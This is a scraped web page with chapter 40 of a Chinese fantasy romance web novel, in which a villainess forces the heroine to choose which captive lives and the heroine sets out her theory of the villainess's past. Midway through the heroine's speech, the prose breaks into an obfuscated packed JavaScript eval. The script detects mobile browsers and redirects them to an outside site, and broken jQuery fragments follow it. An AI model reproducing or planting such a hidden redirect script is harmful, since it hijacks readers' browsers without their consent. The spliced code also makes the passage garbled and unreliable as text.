40. 第40章
作品:《都说了是正经勾魂啊》 顾宁渊侧身离去,衣袂轻轻擦过慕思虞的肩头,他走到那棵落木树下。
仰首静望,忽然又想起方才那场荒唐的梦幻,想起梦中荒唐的自己,眉宇间闪过一丝落寞。
他凝望片刻,脸色愈发苍白,极为难看,终是移开视线,不再看它,只低低唤了一声:
“宵月。”
宵月跟随顾宁渊多年,当即会意,周身灵光流转,轻而易举摧毁若木,幻境也随之崩碎。
三人脱离幻境,重新出现在山间茶庐之外。
方灵心依旧戴着斗笠,轻纱遮面,姿态优雅地坐在那张破旧竹椅上,执笔作画。
笔锋轻提慢落,她细细勾勒,神色从容,“毁了它,不过拖我半日功夫,可你想要的东西,便再也得不到了,小郎君觉得,这买卖划算吗?”
顾宁渊并未回答,他收回宵月,淡淡抬眼,一双眼眸通红,冷声道:“你最好趁我杀心未起,立刻消失。”
“觉得碍眼了?”
方灵心搁下笔,从竹椅起身,目光在顾宁渊身上流连,“真没想到,传闻中破尽万千迷情阵的少年天骄,竟也会被这等低级术法,乱了心神。”
她移开目光,望向慕思虞,“姑娘不妨猜一猜,到底是我的幻术更胜一筹,还是幻术里面出现的那个人,让他心甘情愿沉沦?”
顾宁渊蹙眉:“你话很多。”
慕思虞扬起嘴角,语调轻快:“更胜一筹也好,幻术绝妙也罢!总之,你的熏香已经不起作用了。”
她早就趁他们谈话时,偷偷潜进茶庐,将那些惑人心魂的熏香尽数毁去,再想施展傀儡术,绝无可能。
方灵心却笑得比她更加轻蔑,“一支安神香,能起什么作用?”
说着,她轻扬广袖,几条玄铁锁链如同巨蟒一般,破空而下,迅速缠上顾宁渊的腰身。
“顾宁渊!”
慕思虞神色骤变,又惊又怒,猛地扭头看向方灵心,急促大喊:“你要对他做什么?你到底想干什么?!”
几乎在同一瞬间,另一条锁链窜向昭鳞,将他悬吊在半空。
“玩个游戏嘛,别生气啊。”
方灵心无视锁链的声响,缓步走近慕思虞,伸出纤细的手,虚搭在她肩上,“听我那没用的傀儡说,不过短短几日,慕姑娘便同我的阿昭,两心相许,情投意合了?”
“那便选一选吧!”
她绕至她身后,两手紧握她的肩膀,顺势将她往前一推,贴近她耳畔,“一边是你朝夕相伴的师兄,另一边是你一见倾心的情郎。”
“告诉我,你要谁活?”
顾宁渊正欲唤出宵月,听见这话,忽地怔了一瞬。
这一瞬间的失神,让缠在腰间的东西找到机会,化作无数条细小链条,扎入他的身体,钻进他的五脏,趁机封住了他的灵脉。
灵脉被封,不过是一具肉体凡胎,哪能承受这般非人的折磨?
殷红的鲜血从他的嘴角滑下,一滴一滴落在衣衫上。
他忍不住蹙起眉头,却始终没有反抗,甚至连挣扎都没有,抿着唇,眸光淡然,只有当那锁链狠狠穿进他的身体时,低垂的眼睫疼得微微一颤。
慕思虞才能感觉到,他还活着。
“顾宁渊!”
她盯着他,气急败坏地唤了一声他的名字,你在这装什么柔顺,挣扎啊!反抗啊!束手就擒算什么?!
他没应她。
慕思虞脸色煞白,瞳孔猝然收拢,她实在看不下去,转身怒指方灵心,瞪着她,“你放开他!”
“他?”方灵心笑道:“哪一个?”
慕思虞神情微怔,她看向极其虚弱的顾宁渊,又转向闭眼不言的昭鳞。
哪一个?
选哪一个,才可以保全所有人?
昭鳞终于睁开眼睛,叹息一声,勉力道:“你放了他们,我跟你回去,不就是爱吗?我给你便是!”
他沉默一瞬,闭上眼,像是做出了天大的牺牲,哑声道:“我……尽量爱你。”
“爱我?”
方灵心像是听见了天大的笑话,她推开身边的慕思虞,抬手揭开面纱,摘下斗笠,随手丢在一旁。
“谁要你的爱?谁又要你的尽量?我要那些没用的东西干什么?”
“论天姿,论才干。”她微笑着上前,一步一步走近,“甚至是论你那张终日沾沾自喜,引以为傲的脸,我有哪一点不如你?你又有哪一点,胜过我?”
锁链随着她的步伐缓缓降下。
她停在昭鳞面前,柔情似水地望着他的脸,语气散漫,“阿昭,为何总是不愿好生看看自己,为何总是以为世间女子都倾心于你?喜欢你什么?一张毫无用处的脸吗?”
“我若是这般愚不可及,不如出世当日便胎死腹中得了。”
昭鳞咬牙:“……你到底想怎样!”
“不怎么样啊,”方灵心的声音愈来愈轻柔,带着若有若无的蛊惑,“我要的,从始至终都没变过,一直都是阿昭的神裔仙胎啊。”
“你——”
昭鳞面色一沉,沉默良久,才道:“神裔仙胎,你不是已经得到了吗?”
得到了?
慕思虞惊讶地看向昭鳞,难道这就是他先前所说的代价?只是,这代价未免也……太大了。
聿白曾经跟她说过,神裔仙胎这种体质,世间极其罕见,若是大成,可借天道之力,天道合一,六界无敌。
慕思虞摇摇头,轻叹一声,用神裔仙胎偿还情债,无论是什么情,也该足够了吧?
“不够!”
方灵心浑身散发寒气,视线重新落在昭鳞脸上,“光有仙胎又有什么用?!你的神魂,我也要一并拿走!”
“贪得无厌。”顾宁渊轻嗤道。
方灵心闻言,从怀里拿出一把骨刃,笑了笑,“小郎君要替他么?我看你的体质也很不错。”
说罢,那柄骨刃像是听懂了话似的,脱离她掌心,猛地刺入顾宁渊胸膛,不过一瞬,便染上鲜红,又回到方灵心手里。
好不容易挪到顾宁渊身旁的慕思虞身躯猛震,她上前半步,侧身挡住他的身体,怒道:“你!”
看到慕思虞的反应,方灵心的目光忽地变得柔和,眉眼间染上的怒气散去,仿佛在等一场即将开场的好戏。
她盯着她的眼睛,唇角上扬,“别瞪我呀慕姑娘,你还没告诉我,到底选哪一个呢?”
慕思虞抿了抿唇,抬眼望向玄铁锁链的尽头,又回头看了看顾宁渊,这才定定看向方灵心,“倘若我真选了昭鳞,你会不会不高兴?”
方灵心似乎没料到她会这样问。
不问被选之人“我选你,你会不会高兴”,反倒是问她这个设局之人“若是我选了你的人,你会不会不高兴”。
她别过脸,微微一笑,“你选你的,无所谓我高不高兴,总归一点,你选谁,谁便能活。”
“我选顾宁渊。”
方灵心的笑容凝固在脸上,她以为自己听错了,嘴角不自觉抽动一下,回头愕然道:“……你说什么?”
慕思虞神色坚定,从未有过一刻比现在还坚定,“我说,我选顾宁渊。”
话音刚落,天边传来一声嘶吼,虚空扭曲,生生撕开一道裂缝,阵阵紫气盘旋,困住顾宁渊和昭鳞的玄铁锁链,几乎同时“嗖”的一下,抽了回去。
方灵心抬头望天,眼中似有诧异。
慕思虞见状,松了一口气,方灵心一心想要昭鳞的神魂,若是只要昭鳞,那她何必多此一举,将她和顾宁渊牵扯进来?
她想要的,一定是顾宁渊。
所幸,她猜对了。
她望着微怔的方灵心,“还记得你跟我讲的那个故事吗?我猜,真相大抵是这样。”
“白蛟犯了不可饶恕的错,为了避开天罚,她将自己仅剩的力量藏了起来,伪装成一名幼婴,故意落在蛟龙族的管辖之内。”
“族长见她可怜,收留了她,她一住,便是五年。五年,足够一个灵身长大了,可她要疗伤啊,她要恢复灵力啊,仅靠仙草灵药,太慢了,怎么办?有没有更快更有效的法子?答案是:有。”
“蛟龙肉。可她太弱了,就连最低阶的蛟龙都打不过,好在,她还有自己曾经最看不上的绝世容颜。”
“未经世事的蛟龙很好骗,她不记得自己吃了多少条,只觉得自己的灵力在逐渐恢复,那天夜里,她又诱杀了一只,她撕咬得越来越用力,嘴里腥味越来越重。”
“突然,门开了,她抬起头,电闪雷鸣,一个修长的黑影提着剑,站在门外。”
“她口口声声称自己没错,弱肉强食又有什么错?要怪,就怪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864137|183189||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们自己蠢。可她始终没反抗,被打到奄奄一息,几乎命陨,也没用一点灵力,任由他打,她以为他气消了,就不会生她气了。”
“可是她没想到,他会将她丢进兽林,由她自生自灭。族长也没想到自己这一行为,无疑是给了她更多的养分,白蛟果然屠尽了整片林子,完好无损地出来了。出来,自然是要报复的,于是她毫不犹豫,屠尽了蛟龙全族。”
“这个故事不怎么样。”方灵心笑着打断,“这样白蛟和族长,不就成农夫与蛇了?你的故事,没我的好。”
“自然没你的好,”慕思虞盯着她的眼睛,一字一顿,“我只是想说,那条白蛟是你,不是昭鳞。”
她不笑了,“是我又如何?”
“不如何,只是觉得方姑娘演技精湛,想要讨教讨教。”慕思虞顿了顿,“还想问问姑娘,为何直到现在,仍将族长尧舟的尸身保存完整。”
“谁告诉你这些的?!”方灵心声嘶力竭,目光扫向昭鳞,“是你?!”
昭鳞猛地摇头,“我可没说。”
慕思虞继续道:“你想要尧舟活,可是你没想到,尧舟早就不想活了,哪怕他不自戕,也根本没有多少时日。”
“你得知神裔仙胎可以复活他,你找到昭鳞,设计让他爱上你,然后再告诉他,你的无奈,你的苦楚,想让他心甘情愿给出仙胎。”
她看了看昭鳞,不禁笑出声,“可你没想到,这个浪荡子居然也是逢场作戏,不过好在他心思单纯,心机不深,你做了这一场深爱他的戏,他为了躲开你,同时也为了弥补你,心甘情愿将你想要的神裔仙胎,给了出来。”
“为了瞒天过海,你告诉昭鳞,只要他假死,躲进冥界,天道以为他死了,就不会再追究,这傻子信了,真去了。”
“本来事情到这里就可以结束了,可是拥有神裔仙胎的感觉太美妙了,那种将众人踩在脚下的感觉,使你欲罢不能,你不想拿出来了。”
“可你又想复活尧舟,怎么办呢?”慕思虞看向方灵心,“于是你想,不如再布一个局,以昭鳞的神魂去修复尧舟的魂魄,再抹去尧舟的记忆,让他永远陪着你。”
“你需要有人替你见证昭鳞之死,还需要献祭一个天赋极强的人,引发天怒,等到一切顺理成章,你的神裔仙胎,即可名正言顺。”
“你听说外界传闻,泽陵宗从不收徒,从不出面的悉茗剑尊,同年收了三名天赋极强的徒弟,酒囊饭袋慕思虞,清风霁月宋寒之,还有一个天煞孤星,顾宁渊。”
“宋寒之是最佳人选,可他一心修行,无欲无求,在他眼里,非对即错,非黑即白,让他帮你见证或是杀了他,难度未免太大。”
“于是,你打听到溪茗剑尊另外一个徒弟——慕思虞,此人易怒易喜,弱点鲜明,不仅痴恋宋寒之,更与顾宁渊水火不容,两人针锋相对,但凡有一点机会,都恨不得立马置对方于死地。”
“你觉得他们正合适。”
“可你编织幻境,囚禁昭鳞,所剩灵力微乎甚微,若是用来对付顾宁渊,无疑是螳臂当车,自寻死路。”
“于是,你想借天道枷锁,杀了他,却没想到,我会真心……”
思绪断了,慕思虞没再说下去,以方灵心当时残余的灵力,顾宁渊又怎会受制于她,除非……
除非真的如她所言,是他情愿。
“怎么不继续说下去了?”方灵心笑着勾了勾手,顾宁渊像是得到了指令,上前几步,傀儡一般地站在她身后,面无表情,毫无生气。
慕思虞怒不可遏,“你根本没想放过他!”
“哎呀呀,别动怒呀,玩个游戏而已嘛,规则由我定,自然我想守便守,不想守便不守。”她挑眉轻笑,“不过有一点,慕姑娘却说错了,能干扰天命、动摇天道枷锁的人,怎么能算是酒囊饭袋呢?”
听到这里,慕思虞后脊一凉,她站在原地,站了许久,原来不是她侥幸猜对,而是这具身躯的命格,强到足以影响天道抉择。
无论她选谁,天道枷锁都会松开,方灵心早已种下傀儡术,那熏香,不过是障眼之法。
她越过方灵心,目光看向顾宁渊。
“那你……想不想换一个目标?”
慕思虞展开双臂,神色平静毫无波澜,“这身骨血所承的至尊命格,你当真不想要吗?”

